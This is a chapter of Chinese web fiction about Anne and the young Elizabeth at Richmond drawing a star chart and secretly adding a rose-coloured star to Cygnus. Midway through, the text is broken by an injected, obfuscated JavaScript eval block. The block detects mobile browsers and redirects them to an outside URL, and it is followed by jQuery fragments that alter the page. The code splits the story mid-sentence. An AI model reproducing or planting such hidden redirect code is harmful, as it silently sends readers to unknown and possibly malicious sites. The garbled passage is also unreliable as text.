天鹅座旁多了一颗玫瑰星


    里士满的冬夜来得早，才过晚祷，天色便像被墨汁一层层晕开，只剩塔楼尖顶还勾着一线银白。


    伊丽莎白拖着一只木箱，气喘吁吁地闯进安妮的卧室：“老师，我把它偷运出来了！”


    箱子里躺着一架小望远镜——黄铜镜筒、三脚支架，还缠着一条褪色的皇家蓝丝带。


    “从御前库房借的？”安妮挑眉。


    “是借的，”女孩一本正经，“借到里士满，再借回伦敦。”


    胡椒狗围着箱子嗅了一圈，尾巴把地板拍得啪啪响，像是在鼓掌。


    两人抬着望远镜，一步一喘地爬上西塔顶。塔楼废弃多年，风从破窗灌进来，吹得火把乱晃，像一群喝醉的萤火虫。


    安妮把望远镜架在石垛上，顺手从怀里抽出一卷新羊皮纸、一支削得极细的鹅毛笔，还有一小罐玫瑰色墨水——那是用去年玫瑰花瓣熬的，颜色温柔得像傍晚的云。


    伊丽莎白先把官方星图铺在地面：


    天鹅座、大熊座、猎户座……线条僵硬，星星像被钉子钉住。


    她皱鼻子：“皇家天文师的图太死板，像教堂彩窗，不像天空。”


    安妮笑了笑，没说话，只把那张空白羊皮纸铺在旧图之上。


    夜风很冷，安妮的指尖却稳得出奇。


    她先用极淡的铅粉描出古典轮廓，再悄悄在天鹅座左翼添了一颗极细的小星——


    那是现代天鹅座 61，1540 年尚未被欧洲人记录，亮度暗，却真实存在。


    笔尖一顿，她在旁边点了一个几乎看不见的小点，然后迅速用玫瑰色墨水覆盖。


    玫瑰色在烛光下若隐若现，像一滴含羞的血。


    伊丽莎白眯起一只眼凑近望远镜。


    “老师，天鹅座这里……”


    她的声音被夜风吹得碎碎的，“好像多了一颗？”


    安妮心跳漏半拍，却只是“嗯？”了一声，假装在调焦。


    女孩又看了一次，确认无误后，没有惊呼，也没有质疑，只是用羽毛笔蘸了玫瑰色，轻轻在那颗小星上补了一笔。


    玫瑰色在雪白羊皮上晕开，像一朵悄然绽放的花。


    “我们给它起个名字吧。”伊丽莎白压低声音，仿佛怕惊动夜空。


    安妮故作随意：“叫什么？”


    “Rosula，小玫瑰。”女孩眼睛亮得像两粒晨星，“只属于今晚，只属于我们。”


    安妮的笔尖在星旁写下拉丁小字：


    Rosula — 1541, 里士满塔


    墨迹未干，夜风掠过，羊皮纸轻轻卷起，像天空也弯下腰来看。


    趁伊丽莎白再次沉迷望远镜，安妮快速完成剩余连线：


    天鹅座翅膀的弧度更优雅，仙后座多了一条“W”形辅助线，北斗七星末端画了个小箭头指向北极星——


    这些都是 16 世纪尚未流行的画法。


    她边画边在心里数：


    “一步、两步……别被发现。”


    玫瑰色墨水在暗淡灯火里像秘密的脉搏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155905|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    胡椒狗突然对着塔外狂吠。


    原来远处河面漂来一艘夜航小船，船头挂着两盏昏黄灯笼。


    伊丽莎白把狗抱起来，用它的鼻子当“指针”：


    “看，灯笼就是移动的双星！”


    安妮顺势在图纸上添了两颗移动的光点，标记为“Canis Navis”（船犬座）。


    女孩笑弯了腰，狗也汪得理直气壮。


    夜更深，塔顶冷得像一块铁。


    伊丽莎白把小手缩进斗篷里，忽然问：


    “老师，你怎么知道天鹅座还有一颗暗星？”


    安妮沉默两秒，把望远镜递给她：


    “多看看，就能发现别人看不见的光。”


    女孩没有再追问，只是用玫瑰色笔在图角写了一行小字：


    “老师的眼睛里藏着另一条银河。”


    回到卧室，伊丽莎白把新图挂在床头，旧图卷好塞进木箱。


    她偷偷在新图背面画了一只极小的蜜蜂，翅膀上写着“E”——


    那是她给自己留的暗号：


    “如果有一天我懂了，就回来给蜜蜂上色。”


    塔楼的风铃在风里叮叮当当，像在为那颗玫瑰星送行。


    安妮吹熄蜡烛，听见隔壁房间里，女孩轻轻哼起自编的小调：


    “Rosula, Rosula, 偷偷亮一夜……”


    她在黑暗里微笑，指尖无意识地在空中描出那颗小星的位置。


    玫瑰色的秘密，在冬夜里悄悄生根